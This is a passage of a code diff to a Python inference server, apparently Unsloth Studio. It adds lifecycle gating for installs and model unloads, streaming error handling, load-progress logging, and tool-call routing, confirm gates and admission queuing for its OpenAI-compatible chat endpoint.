+                    getattr(backend, "load_generation", 0),
+                )
+                if _active_now != active_before_gate:
+                    end_sidecar_swap()
+                    raise HTTPException(
+                        status_code = 409,
+                        detail = (
+                            "A model load completed while the install was waiting. "
+                            "Retry the install."
+                        ),
+                    )
+                # Recheck under the gate: new streams bump their in-flight count while
+                # holding it, so once held nothing slips past (the pre-gate check is only
+                # a fast path and can be outlasted by a wait on a long /load).
+                if (
+                    other_inference_request_count(
+                        current_request_counted = False, include_pending = False
+                    )
+                    > 0
+                ):
+                    end_sidecar_swap()
+                    raise HTTPException(
+                        status_code = 409,
+                        detail = (
+                            "Another inference request is in progress. Wait for "
+                            "it to finish before installing a new transformers "
+                            "version."
+                        ),
+                    )
+                return await asyncio.to_thread(_run_install)
+
+        install_task = asyncio.ensure_future(_gated_install())
+        owns_reservation = False
+        # shield: a cancelled request stops waiting, but the installer runs to
+        # completion (holding the gate) instead of being torn down mid-swap.
+        result = await asyncio.shield(install_task)
+    finally:
+        if owns_reservation:
+            end_sidecar_swap()
+    if not result["success"]:
+        if result.get("latest_version"):
+            # Structured failure so the dialog can update to the newer release
+            # and offer a retry that can actually succeed.
+            return InstallLatestTransformersResponse(**result, model_unloaded = unloaded_chat["v"])
+        if unloaded_chat["v"]:
+            # The chat model is already gone even though the swap failed; return a
+            # structured failure (not a bare 400) so the client can restore its
+            # model state instead of pointing at an unloaded model.
+            return InstallLatestTransformersResponse(**result, model_unloaded = True)
+        raise HTTPException(status_code = 400, detail = result["message"])
+    return InstallLatestTransformersResponse(**result, model_unloaded = unloaded_chat["v"])
+
+
 @router.post("/unload", response_model = UnloadResponse)
 async def unload_model(request: UnloadRequest, current_subject: str = Depends(get_current_subject)):
     """
@@ -3795,28 +5229,76 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge
     # A deliberate unload means "stay unloaded": drop any idle reload stash so the
     # next /v1 request can't resurrect this model. The idle loop unloads via the
     # backend directly (not this route), so clearing here never fights keep-warm.
-    from core.inference.llama_keepwarm import note_model_unloaded
+    from core.inference.llama_keepwarm import inference_lifecycle_gate, note_model_unloaded
     try:
-        # Check if the GGUF backend has this model loaded or is loading it.
-        llama_backend = get_llama_cpp_backend()
-        if llama_backend.is_active and (
-            llama_backend.model_identifier == request.model_path
-            or is_registered_native_path_label(llama_backend.model_identifier, request.model_path)
-            or not llama_backend.is_loaded
+        # "Stop loading" (frontend cancelLoading -> /unload) must abort a still-loading
+        # model promptly. /load holds the lifecycle gate for the whole (multi-minute) load,
+        # so gating first would make the cancel wait it out. cancel_load only tears the
+        # loading subprocess down (no unload command), so it is safe off-gate.
+        backend = get_inference_backend()
+        loading = getattr(backend, "get_loading_model", lambda: None)()
+        if (
+            loading is not None
+            and hasattr(backend, "cancel_load")
+            and (request.model_path == loading or request.model_path.lower() == loading.lower())
         ):
-            # A manual unload is a deliberate user action: tear down now even if a
-            # request is mid-stream (only the automatic idle loop defers to it).
-            llama_backend.unload_model()
+            if await asyncio.to_thread(backend.cancel_load, request.model_path):
+                note_model_unloaded()
+                logger.info(f"Cancelled in-flight load: {request.model_path}")
+                return UnloadResponse(status = "unloaded", model = request.model_path)
+
+        # Same "stop loading" fast path for a still-loading GGUF (llama-server spawned,
+        # health check not yet passed). A gated unload would wait out the multi-minute
+        # load; unload_model() sets the cancel_event load_model polls off its own lock and
+        # kills the child, sending no worker command, so it is safe off-gate like
+        # cancel_load. The gated GGUF branch below handles the already-loaded case. Gate on
+        # the loading model (identifier or native label): the single llama-server loads one
+        # GGUF at a time, so an unload for a different model must not cancel this load.
+        llama_backend = get_llama_cpp_backend()
+        if (
+            llama_backend.is_active
+            and not llama_backend.is_loaded
+            and (
+                llama_backend.model_identifier == request.model_path
+                or is_registered_native_path_label(
+                    llama_backend.model_identifier, request.model_path
+                )
+            )
+        ):
+            await asyncio.to_thread(llama_backend.unload_model)
             note_model_unloaded()
-            logger.info(f"Unloaded GGUF model: {request.model_path}")
+            logger.info(f"Cancelled in-flight GGUF load: {request.model_path}")
             return UnloadResponse(status = "unloaded", model = request.model_path)
 
-        # Otherwise, unload from Unsloth backend
-        backend = get_inference_backend()
-        backend.unload_model(request.model_path)
-        note_model_unloaded()
-        logger.info(f"Unloaded model: {request.model_path}")
-        return UnloadResponse(status = "unloaded", model = request.model_path)
+        # Serialize with /load under the same lifecycle gate: the Unsloth unload now runs
+        # off the event loop (asyncio.to_thread), so without this a concurrent /load could
+        # swap in a fresh subprocess mid-unload and the unload command would land on the
+        # new worker. The gate makes load and unload exclusive.
+        async with inference_lifecycle_gate():
+            # Check if the GGUF backend has this model loaded or is loading it.
+            llama_backend = get_llama_cpp_backend()
+            if llama_backend.is_active and (
+                llama_backend.model_identifier == request.model_path
+                or is_registered_native_path_label(
+                    llama_backend.model_identifier, request.model_path
+                )
+                or not llama_backend.is_loaded
+            ):
+                # A manual unload is a deliberate user action: tear down now even if a
+                # request is mid-stream (only the automatic idle loop defers to it).
+                llama_backend.unload_model()
+                note_model_unloaded()
+                logger.info(f"Unloaded GGUF model: {request.model_path}")
+                return UnloadResponse(status = "unloaded", model = request.model_path)
+
+            # Unload from Unsloth backend off the event loop: unload takes _gen_lock, which
+            # a slow SSE stream paused between tokens still holds, so a sync call would block
+            # the loop that drives the stream's next token and the lock release.
+            backend = get_inference_backend()
+            await asyncio.to_thread(backend.unload_model, request.model_path)
+            note_model_unloaded()
+            logger.info(f"Unloaded model: {request.model_path}")
+            return UnloadResponse(status = "unloaded", model = request.model_path)
 
     except Exception as e:
         logger.error(f"Error unloading model: {e}", exc_info = True)
@@ -3974,25 +5456,28 @@ async def generate_stream(
                 temperature = request.temperature,
                 top_p = request.top_p,
                 top_k = request.top_k,
+                min_p = request.min_p,
                 max_new_tokens = request.max_new_tokens,
                 repetition_penalty = request.repetition_penalty,
+                presence_penalty = request.presence_penalty,
                 cancel_event = cancel_event,
             )
             _DONE = object()
             while True:
                 if cancel_event.is_set():
-                    # The disconnect watcher set cancel_event between chunks.
-                    # Reset the backend here: closing the Python generator does
-                    # not signal a subprocess backend, so without this it keeps
-                    # decoding after the client is gone. The finally's reset is
-                    # guarded on cancel_event being unset, so it will not run
-                    # again for this path.
+                    # Watcher set cancel_event between chunks. Reset here: closing
+                    # the generator does not signal a subprocess backend, so it would
+                    # keep decoding. The finally's reset is guarded, so no double-run.
                     backend.reset_generation_state()
                     break
                 chunk = await asyncio.to_thread(next, gen, _DONE)
                 if chunk is _DONE:
                     completed = True
                     break
+                if isinstance(chunk, GenStreamError):
+                    yield f"data: {json.dumps({'error': _friendly_gen_stream_error(chunk)})}\n\n"
+                    yield "data: [DONE]\n\n"
+                    return
                 yield f"data: {json.dumps({'content': chunk})}\n\n"
             if completed:
                 yield "data: [DONE]\n\n"
@@ -4006,6 +5491,7 @@ async def generate_stream(
             backend.reset_generation_state()
             logger.error(f"Error during generation: {e}", exc_info = True)
             yield f"data: {json.dumps({'error': _friendly_error(e)})}\n\n"
+            yield "data: [DONE]\n\n"
         finally:
             await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
             if not completed and not cancel_event.is_set():
@@ -4172,6 +5658,33 @@ async def get_status(current_subject: str = Depends(get_current_subject)):
         raise HTTPException(status_code = 500, detail = "Failed to get status")
 
 
+_load_progress_lock = threading.Lock()
+_last_load_progress_step = -1
+
+
+def _log_load_progress_step(fraction, phase):
+    """One inference_load_progress line per 10% step, so a model load shows
+    progress without a line per poll. Reset per load by _reset_load_progress_step."""
+    global _last_load_progress_step
+    step = int(max(0.0, min(float(fraction), 1.0)) * 10)
+    with _load_progress_lock:
+        prev = _last_load_progress_step
+        if step == prev:
+            return
+        _last_load_progress_step = step
+        if step < prev:
+            return  # load regressed/restarted mid-poll; resync without logging
+    logger.info("inference_load_progress", phase = phase or "", percent = step * 10)
+
+
+def _reset_load_progress_step():
+    """Arm the throttle for a new load so its first sampled step always logs,
+    even a cached load that already reports fraction=1.0 on the first poll."""
+    global _last_load_progress_step
+    with _load_progress_lock:
+        _last_load_progress_step = -1
+
+
 @router.get("/load-progress", response_model = LoadProgressResponse)
 async def get_load_progress(current_subject: str = Depends(get_current_subject)):
     """
@@ -4190,7 +5703,9 @@ async def get_load_progress(current_subject: str = Depends(get_current_subject))
         progress = llama_backend.load_progress()
         if progress is None:
             return LoadProgressResponse()
-        return LoadProgressResponse(**progress)
+        resp = LoadProgressResponse(**progress)
+        _log_load_progress_step(resp.fraction, resp.phase)
+        return resp
     except Exception as e:
         logger.warning(f"Error sampling load progress: {e}")
         return LoadProgressResponse()
@@ -5341,25 +6856,52 @@ async def openai_chat_completions(
             )
         # Reject confirm-without-stream local tool requests before the switch: the
         # local tool path requires stream=true for the confirm gate, so this shape
-        # is invalid and must not evict the resident model first. Mirror that path's
-        # enablement exactly (_effective_enable_tools honors a CLI --enable-tools
-        # policy hard-override; mcp_enabled opens the tool loop on its own but still
-        # defers to a CLI --disable-tools policy), or an mcp_enabled/policy-forced
-        # request would slip past this guard and only 400 after the swap.
-        from state.tool_policy import get_tool_policy as _get_confirm_tool_policy
+        # is invalid and must not evict the resident model first.
+        #
+        # Enter the local-loop arm exactly when the passthrough router below would
+        # run Studio's own tool loop. That gate is `_tools_on or _mcp_allowed`
+        # (see the use_tools block): _effective_enable_tools (which lets a
+        # process-wide --enable-tools policy force the loop on) plus mcp_enabled
+        # honoring --disable-tools, and tool_choice="none" disabling it unless the
+        # request explicitly asked. enabled_tools never enters loop entry (it only
+        # filters which tools run), so it is not a signal here.
+        #
+        # But a policy-forced loop must not steal client-tool passthrough: when the
+        # request did not explicitly ask for the loop (enable_tools/mcp) and carries
+        # client tools, the router forwards to the provider branch, so only treat it
+        # as the local loop when the request explicitly asked OR there is no client
+        # passthrough to defer to.
+        from state.tool_policy import get_tool_policy as _get_tool_policy_pre
 
-        _confirm_cli_policy = _get_confirm_tool_policy()
+        _cli_policy_pre = _get_tool_policy_pre()
+        _use_tools_intent = _effective_enable_tools(payload) or (
+            bool(payload.mcp_enabled) and _cli_policy_pre is not False
+        )
+        if payload.tool_choice == "none" and not _explicit_studio_tool_loop_requested(payload):
+            _use_tools_intent = False
+        _client_tool_passthrough = (
+            bool(payload.tools)
+            or bool(payload.openai_code_exec_container_id)
+            or bool(payload.anthropic_code_exec_container_id)
+            # A JSON-schema response_format is guided-decoding structured output the
+            # router forwards to the llama-server passthrough, not Studio's tool
+            # loop, so a --enable-tools policy must not 400 it as a local-confirm
+            # request under ask/auto.
+            or bool(_extract_response_format(payload))
+        )
+        # permission_mode only implies the confirm gate for that local loop.
+        # Client-tool passthrough forwards to the provider branch and the validator
+        # intentionally leaves confirm_tool_calls unset there, so only an explicit
+        # confirm_tool_calls=True should force the local-confirm rejection for it.
+        _studio_local_tool_loop = bool(_use_tools_intent) and (
+            _explicit_studio_tool_loop_requested(payload) or not _client_tool_passthrough
+        )
         if (
-            payload.confirm_tool_calls
-            and not payload.bypass_permissions
+            not payload.bypass_permissions
             and not payload.stream
             and (
-                _effective_enable_tools(payload)
-                or (bool(payload.mcp_enabled) and _confirm_cli_policy is not False)
-                or bool(payload.enabled_tools)
-                or bool(payload.tools)
-                or bool(payload.openai_code_exec_container_id)
-                or bool(payload.anthropic_code_exec_container_id)
+                (_confirm_gate_needs_stream(payload) and _studio_local_tool_loop)
+                or (payload.confirm_tool_calls is True and _client_tool_passthrough)
             )
         ):
             raise HTTPException(
@@ -5485,7 +7027,7 @@ async def openai_chat_completions(
         if not backend.active_model_name:
             raise HTTPException(
                 status_code = 400,
-                detail = "No model loaded. Call POST /inference/load first.",
+                detail = _no_model_loaded_detail("No model loaded. Call POST /inference/load first."),
             )
         # Clean public id so the response never echoes a local path; the audio
         # branch below receives this sanitized label too.
@@ -5573,6 +7115,13 @@ async def openai_chat_completions(
                             chunk_text = await asyncio.to_thread(next, gen, _DONE)
                             if chunk_text is _DONE:
                                 break
+                            if isinstance(chunk_text, GenStreamError):
+                                _msg = _friendly_gen_stream_error(chunk_text)
+                                api_monitor.fail(monitor_id, _msg)
+                                yield _openai_stream_error_sse(
+                                    {"error": {"message": _msg, "type": "server_error"}}
+                                )
+                                return
                             if chunk_text:
                                 api_monitor.append_reply(monitor_id, chunk_text)
                                 yield _chat_content_chunk(
@@ -5588,14 +7137,18 @@ async def openai_chat_completions(
                         raise
                     except Exception as e:
                         logger.error(f"Error during audio input streaming: {e}", exc_info = True)
-                        api_monitor.fail(monitor_id, _friendly_error(e))
-                        yield f"data: {json.dumps({'error': {'message': _friendly_error(e), 'type': 'server_error'}})}\n\n"
+                        _msg = _friendly_error(e)
+                        api_monitor.fail(monitor_id, _msg)
+                        yield _openai_stream_error_sse(
+                            {"error": {"message": _msg, "type": "server_error"}}
+                        )
                     finally:
                         await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                         _tracker.__exit__(None, None, None)
 
                 return _SameTaskStreamingResponse(
                     audio_input_stream(),
+                    unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
                     media_type = "text/event-stream",
                     headers = {
                         "Cache-Control": "no-cache",
@@ -5605,7 +7158,15 @@ async def openai_chat_completions(
                 )
             else:
                 try:
-                    full_text = "".join(audio_input_generate())
+                    full_text = ""
+                    for chunk_text in audio_input_generate():
+                        if isinstance(chunk_text, GenStreamError):
+                            _msg = _friendly_gen_stream_error(chunk_text)
+                            api_monitor.fail(monitor_id, _msg)
+                            raise HTTPException(status_code = 500, detail = _msg)
+                        full_text += chunk_text
+                except HTTPException:
+                    raise
                 except Exception as e:
                     api_monitor.fail(monitor_id, _friendly_error(e))
                     raise
@@ -5661,11 +7222,11 @@ async def openai_chat_completions(
     # unaware of `role="tool"` messages and assistant messages that only
     # carry `tool_calls` (content=None) — both of which are valid in
     # multi-turn client-side tool loops.
-    effective_max_tokens = _effective_max_tokens(payload)
+    effective_max_tokens = _effective_openai_max_tokens(payload)
 
     normalized_stop = _normalize_stop_sequences(payload.stop)
 
-    _has_tool_messages = any(m.role == "tool" or m.tool_calls for m in payload.messages)
+    _has_tool_messages = _has_openai_tool_history(payload.messages)
     # Route guided-decoding requests through the verbatim passthrough so
     # ``response_format`` (JSON schema) reaches llama-server and the model's
     # GBNF-constrained output comes back unmodified. The non-passthrough GGUF
@@ -5674,12 +7235,41 @@ async def openai_chat_completions(
     # free-form sampling. Guided decoding does not require ``supports_tools`` --
     # the grammar machinery is independent of tool-call parsing.
     _has_response_format = _extract_response_format(payload) is not None
-    _tools_passthrough = llama_backend.supports_tools and (
-        (payload.tools and len(payload.tools) > 0) or _has_tool_messages
+    _has_tool_catalog = bool(payload.tools and len(payload.tools) > 0)
+    _has_active_tool_catalog = _has_tool_catalog and payload.tool_choice != "none"
+    _has_client_tool_contract = _has_active_tool_catalog or _has_tool_messages
+    # The Studio tool loop needs a tool-capable backend, so a request that asks
+    # for it on a backend that can't run it (DiffusionGemma forces supports_tools
+    # off) must not steal client tools from the passthrough (#6851).
+    _studio_tool_loop_requested = (
+        _explicit_studio_tool_loop_requested(payload) and llama_backend.supports_tools
     )
+    _client_disabled_tool_calls = payload.tool_choice == "none" and not _studio_tool_loop_requested
+    _supports_tool_passthrough = getattr(
+        llama_backend, "supports_tool_passthrough", llama_backend.supports_tools
+    )
+    _tools_passthrough = _supports_tool_passthrough and _has_client_tool_contract
     if (
         using_gguf
-        and not _effective_enable_tools(payload)
+        and not _studio_tool_loop_requested
+        and _has_client_tool_contract
+        and not _supports_tool_passthrough
+    ):
+        raise _reject(
+            400,
+            openai_error_body(
+                (
+                    "Client-supplied tools or tool-call history require a GGUF chat template "
+                    "with tool-call support; the current model/template does not advertise tools."
+                ),
+                status = 400,
+                code = "unsupported_parameter",
+                param = "tools" if payload.tools else "messages",
+            ),
+        )
+    if (
+        using_gguf
+        and not _studio_tool_loop_requested
         and (_tools_passthrough or _has_response_format)
     ):
         if _wants_multiple_choices(payload):
@@ -5725,12 +7315,20 @@ async def openai_chat_completions(
                 completion_id,
                 monitor_id = monitor_id,
             )
-        return await _openai_passthrough_non_streaming(
-            llama_backend,
-            payload,
-            model_name,
-            monitor_id = monitor_id,
-        )
+        _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
+        _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
+        _tracker.__enter__()
+        try:
+            return await _openai_passthrough_non_streaming(
+                llama_backend,
+                payload,
+                model_name,
+                monitor_id = monitor_id,
+                request = request,
+                cancel_event = cancel_event,
+            )
+        finally:
+            _tracker.__exit__(None, None, None)
 
     # ── Parse messages (handles multimodal content parts) ─────
     # Reuse the pre-hook parse when auto-switch did it, else parse now.
@@ -5790,6 +7388,8 @@ async def openai_chat_completions(
             )
 
         def _gguf_chat_delta_line(delta: ChoiceDelta, finish_reason = None) -> str:
+            if delta.reasoning_content is not None and delta.content is None:
+                delta = delta.model_copy(update = {"content": ""})
             chunk = ChatCompletionChunk(
                 id = completion_id,
                 created = created,
@@ -5813,8 +7413,12 @@ async def openai_chat_completions(
         from state.tool_policy import get_tool_policy as _get_tool_policy_g
 
         _cli_policy = _get_tool_policy_g()
-        _tools_on = _effective_enable_tools(payload)
-        _mcp_allowed = bool(payload.mcp_enabled) and _cli_policy is not False
+        _tools_on = False if _client_disabled_tool_calls else _effective_enable_tools(payload)
+        _mcp_allowed = (
+            not _client_disabled_tool_calls
+            and bool(payload.mcp_enabled)
+            and _cli_policy is not False
+        )
         use_tools = (_tools_on or _mcp_allowed) and llama_backend.supports_tools
 
         if use_tools:
@@ -5830,9 +7434,23 @@ async def openai_chat_completions(
                 use_tools = False
 
         if use_tools:
+            # permission_mode ask/auto require the confirm gate for Studio's own
+            # tool loop. The request validator self-enables confirm only for
+            # request-level tool signals (enable_tools/enabled_tools/mcp_enabled);
+            # when a CLI policy (--enable-tools) forces the loop on without those,
+            # derive confirm here so the mode still gates the call (and a
+            # non-stream ask/auto request is rejected below rather than running
+            # unprompted). off/full never prompt, so they are excluded.
+            _effective_confirm = _permission_mode_confirm(payload)
             # Bypass Permissions suppresses confirm, so the stream requirement
-            # (the gate needs streaming to prompt) no longer applies.
-            if payload.confirm_tool_calls and not payload.bypass_permissions and not payload.stream:
+            # (the gate needs streaming to prompt) no longer applies. auto with an
+            # always-safe-only selection never prompts, so it needs no stream even
+            # though _effective_confirm stays true for the loop's per-call gate.
+            if (
+                _confirm_gate_needs_stream(payload)
+                and not payload.bypass_permissions
+                and not payload.stream
+            ):
                 raise _reject(
                     400,
                     openai_error_body(
@@ -5864,13 +7482,18 @@ async def openai_chat_completions(
             _gguf_auto_heal_tool_calls = (
                 payload.auto_heal_tool_calls if payload.auto_heal_tool_calls is not None else True
             )
+            # Active tool names gating the bare-rehearsal strip, matching the loop gate.
+            _gguf_display_tool_names = _display_tool_name_gate(tools_to_use)
 
             # ── Strip stale tool-call XML from conversation history ─
             for _msg in gguf_messages:
                 if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str):
+                    # Gate on enabled tool names, like the live strip, so a documented inactive
+                    # ``foo[ARGS]{...}`` survives in the replayed prompt context.
                     _msg["content"] = _strip_tool_xml_for_display(
                         _msg["content"],
                         auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                        enabled_tool_names = _gguf_display_tool_names,
                     ).strip()
 
             def gguf_generate_with_tools():
@@ -5891,6 +7514,7 @@ async def openai_chat_completions(
                     reasoning_effort = payload.reasoning_effort,
                     preserve_thinking = payload.preserve_thinking,
                     auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                    nudge_tool_calls = payload.nudge_tool_calls,
                     max_tool_iterations = payload.max_tool_calls_per_message
                     if payload.max_tool_calls_per_message is not None
                     else 25,
@@ -5898,15 +7522,34 @@ async def openai_chat_completions(
                     if payload.tool_call_timeout is not None
                     else 300,
                     session_id = payload.session_id,
+                    thread_id = payload.thread_id,
                     rag_scope = payload.rag_scope,
                     disable_parallel_tool_use = payload.parallel_tool_calls is False,
                     # Bypass Permissions takes precedence over the confirm gate:
                     # never prompt while bypassing.
-                    confirm_tool_calls = bool(payload.confirm_tool_calls)
-                    and not bool(payload.bypass_permissions),
+                    confirm_tool_calls = _effective_confirm and not bool(payload.bypass_permissions),
                     bypass_permissions = bool(payload.bypass_permissions),
+                    permission_mode = payload.permission_mode,
                 )
 
+            _tool_admission_mode = "chat_tool_stream" if payload.stream else "chat_tool_nonstream"
+            try:
+                reservation, admission_config = _openai_llama_admission_reserve(
+                    request = request,
+                    llama_backend = llama_backend,
+                )
+            except LlamaAdmissionQueueFull as exc:
+                _openai_admission_log(
+                    "queue-full",
+                    snapshot = exc.snapshot,
+                    request = request,
+                    mode = _tool_admission_mode,
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                raise _openai_admission_http_exception(exc, status_code = 429)
+
             _tool_sentinel = object()
 
             _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
@@ -5915,6 +7558,8 @@ async def openai_chat_completions(
 
             async def gguf_tool_stream():
                 gen = None
+                next_task = None
+                stream_completed = False
                 disconnect_watcher = asyncio.create_task(
                     _await_disconnect_then_cancel(request, cancel_event)
                 )
@@ -5952,10 +7597,39 @@ async def openai_chat_completions(
                             api_monitor.finish(monitor_id, "cancelled")
                             return
 
-                        event = await asyncio.to_thread(next, gen, _tool_sentinel)
+                        next_task = asyncio.create_task(
+                            asyncio.to_thread(next, gen, _tool_sentinel)
+                        )
+                        try:
+                            # Stall-timeout wait: keepalive while the generator stays
+                            # silent (e.g. prefill between tool iterations). asyncio.wait
+                            # never cancels next_task, matching the finally-drain shield.
+                            while True:
+                                done_tasks, _ = await asyncio.wait(
+                                    {next_task},
+                                    timeout = _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S,
+                                )
+                                if done_tasks:
+                                    break
+                                yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                            event = next_task.result()
+                        finally:
+                            if next_task.done():
+                                next_task = None
                         if event is _tool_sentinel:
                             break
 
+                        if event["type"] == "heartbeat":
+                            # Tool-wrapper heartbeat while a server-side tool blocks; keeps SSE alive.
+                            yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                            continue
+
+                        if event["type"] in ("tool_output", "tool_args"):
+                            # Live stdout/stderr or tool-call arguments, forwarded
+                            # verbatim for the UI. Final result still arrives in tool_end.
+                            yield f"data: {json.dumps(event)}\n\n"
+                            continue
+
                         if event["type"] == "status":
                             # Empty status marks an iteration boundary in the
                             # GGUF tool loop (e.g. after a re-prompt). Reset the
@@ -6004,6 +7678,7 @@ async def openai_chat_completions(
                         clean_cumulative = _strip_tool_xml_for_display(
                             raw_cumulative,
                             auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                            enabled_tool_names = _gguf_display_tool_names,
                         )
                         new_text = clean_cumulative[len(prev_text) :]
                         prev_text = clean_cumulative
@@ -6050,6 +7725,7 @@ async def openai_chat_completions(
                     api_monitor.finish(
                         monitor_id, "cancelled" if cancel_event.is_set() else "completed"
                     )
+                    stream_completed = True
                     yield "data: [DONE]\n\n"
 
                 except asyncio.CancelledError:
@@ -6062,19 +7738,157 @@ async def openai_chat_completions(
                     # Recover if an MTP+tensor crash killed the server mid-stream.
                     get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                     error_chunk = _openai_stream_error_chunk(e)
-                    yield f"data: {json.dumps(error_chunk)}\n\n"
+                    yield _openai_stream_error_sse(error_chunk)
                 finally:
-                    await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
-                    if gen is not None:
-                        try:
-                            gen.close()
-                        except (RuntimeError, ValueError):
-                            pass
-                    _tracker.__exit__(None, None, None)
+                    try:
+                        if not stream_completed:
+                            cancel_event.set()
+                        task_to_drain = next_task
+                        next_task = None
+                        while task_to_drain is not None and not task_to_drain.done():
+                            try:
+                                await asyncio.shield(task_to_drain)
+                            except asyncio.CancelledError:
+                                cancel_event.set()
+                                continue
+                            except Exception:
+                                break
+                        if task_to_drain is not None and task_to_drain.done():
+                            try:
+                                task_to_drain.exception()
+                            except (asyncio.CancelledError, Exception):
+                                pass
+                        if gen is not None and not stream_completed:
+                            try:
+                                await asyncio.to_thread(gen.close)
+                            except (RuntimeError, ValueError):
+                                pass
+                            except Exception:
+                                logger.debug(
+                                    "Error closing GGUF tool stream generator during cleanup",
+                                    exc_info = True,
+                                )
+                        await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+                    finally:
+                        _tracker.__exit__(None, None, None)
 
             if payload.stream:
+                stream_lease = reservation.lease_nowait()
+                admission_wait_started_at = None
+                if stream_lease is None:
+                    admission_wait_started_at = time.monotonic()
+                    _openai_admission_log(
+                        "queued",
+                        reservation,
+                        request = request,
+                        mode = _tool_admission_mode,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+
+                async def admitted_gguf_tool_stream():
+                    lease = stream_lease
+                    stream_started = False
+                    stream_cancelled = False
+                    try:
+                        if lease is None:
+                            async for wait_item in _openai_admission_wait_stream_chunks(
+                                reservation,
+                                admission_config,
+                                request = request,
+                                cancel_event = cancel_event,
+                            ):
+                                if isinstance(wait_item, str):
+                                    yield wait_item
+                                    continue
+                                lease = wait_item
+                                _openai_admission_log(
+                                    "granted-after-wait",
+                                    reservation,
+                                    request = request,
+                                    mode = _tool_admission_mode,
+                                    wait_started_at = admission_wait_started_at,
+                                    completion_id = completion_id,
+                                    level = "debug",
+                                )
+                                break
+                        if lease is None:
+                            return
+                        await _raise_if_openai_admission_cancelled(
+                            reservation,
+                            request = request,
+                            cancel_event = cancel_event,
+                        )
+                        iterator = gguf_tool_stream()
+                        stream_started = True
+                        try:
+                            async for chunk in iterator:
+                                yield chunk
+                        except asyncio.CancelledError:
+                            stream_cancelled = True
+                            raise
+                        finally:
+                            await _close_openai_admitted_stream_iterator(
+                                iterator,
+                                cancelled = stream_cancelled,
+                            )
+                    except LlamaAdmissionTimeout as exc:
+                        _openai_admission_log(
+                            "timeout",
+                            reservation,
+                            request = request,
+                            mode = _tool_admission_mode,
+                            wait_started_at = admission_wait_started_at,
+                            completion_id = completion_id,
+                            level = "warning",
+                        )
+                        api_monitor.fail(monitor_id, str(exc))
+                        yield _openai_stream_error_sse(
+                            _openai_admission_error_body(exc, status_code = 503)
+                        )
+                    except LlamaAdmissionCancelled:
+                        _openai_admission_log(
+                            "cancelled-before-upstream",
+                            reservation,
+                            request = request,
+                            mode = _tool_admission_mode,
+                            wait_started_at = admission_wait_started_at,
+                            completion_id = completion_id,
+                            level = "debug",
+                        )
+                        api_monitor.finish(monitor_id, "cancelled")
+                        return
+                    except asyncio.CancelledError:
+                        api_monitor.finish(monitor_id, "cancelled")
+                        raise
+                    except HTTPException as exc:
+                        status_code = getattr(exc, "status_code", 500) or 500
+                        detail = exc.detail
+                        error = (
+                            detail
+                            if isinstance(detail, dict) and "error" in detail
+                            else openai_error_body(str(detail), status = status_code)
+                        )
+                        api_monitor.fail(monitor_id, str(detail))
+                        yield _openai_stream_error_sse(error)
+                    finally:
+                        if lease is not None:
+                            lease.release()
+                        if not stream_started:
+                            api_monitor.finish(monitor_id, "cancelled")
+                            reservation.cancel()
+                            _tracker.__exit__(None, None, None)
+
+                async def _gguf_tool_admission_unstarted_cleanup() -> None:
+                    api_monitor.finish(monitor_id, "cancelled")
+                    if stream_lease is not None:
+                        stream_lease.release()
+                    reservation.cancel()
+                    _tracker.__exit__(None, None, None)
+
                 return _SameTaskStreamingResponse(
-                    gguf_tool_stream(),
+                    admitted_gguf_tool_stream(),
+                    unstarted_cleanup = _gguf_tool_admission_unstarted_cleanup,
                     media_type = "text/event-stream",
                     headers = {
                         "Cache-Control": "no-cache",
@@ -6109,6 +7923,7 @@ async def openai_chat_completions(
                             full_text = _strip_tool_xml_for_display(
                                 event.get("text", ""),
                                 auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                                enabled_tool_names = _gguf_display_tool_names,
                             )
                     return full_text, usage, finish
                 finally:
@@ -6119,10 +7934,61 @@ async def openai_chat_completions(
                     except (RuntimeError, ValueError):
                         pass
 
+            drain_task = None
+
+            async def _drain_cancelled_gguf_tool_task():
+                if drain_task is None:
+                    return
+                while not drain_task.done():
+                    try:
+                        await asyncio.shield(drain_task)
+                    except asyncio.CancelledError:
+                        cancel_event.set()
+                        continue
+                    except Exception:
+                        break
+                if drain_task.done():
+                    try:
+                        drain_task.exception()
+                    except (asyncio.CancelledError, Exception):
+                        pass
+
+            admission_lease = None
+            admission_wait_started_at = None
             try:
-                full_text, completion_usage, completion_finish = await asyncio.to_thread(
-                    _drain_gguf_tool_loop
+                if reservation.lease_nowait() is None:
+                    admission_wait_started_at = time.monotonic()
+                    _openai_admission_log(
+                        "queued",
+                        reservation,
+                        request = request,
+                        mode = _tool_admission_mode,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                admission_lease = await _wait_for_openai_admission_non_streaming(
+                    reservation,
+                    admission_config,
+                    request = request,
+                    cancel_event = cancel_event,
                 )
+                if admission_wait_started_at is not None:
+                    _openai_admission_log(
+                        "granted-after-wait",
+                        reservation,
+                        request = request,
+                        mode = _tool_admission_mode,
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+                await _raise_if_openai_admission_cancelled(
+                    reservation,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+                drain_task = asyncio.create_task(asyncio.to_thread(_drain_gguf_tool_loop))
+                full_text, completion_usage, completion_finish = await asyncio.shield(drain_task)
                 reasoning_text, visible_text = _extract_responses_reasoning(
                     full_text,
                     parse_think_markers = _responses_should_parse_think_markers(
@@ -6168,6 +8034,48 @@ async def openai_chat_completions(
                     monitor_id, "cancelled" if cancel_event.is_set() else "completed"
                 )
                 return _model_json_response(response)
+            except asyncio.CancelledError:
+                cancel_event.set()
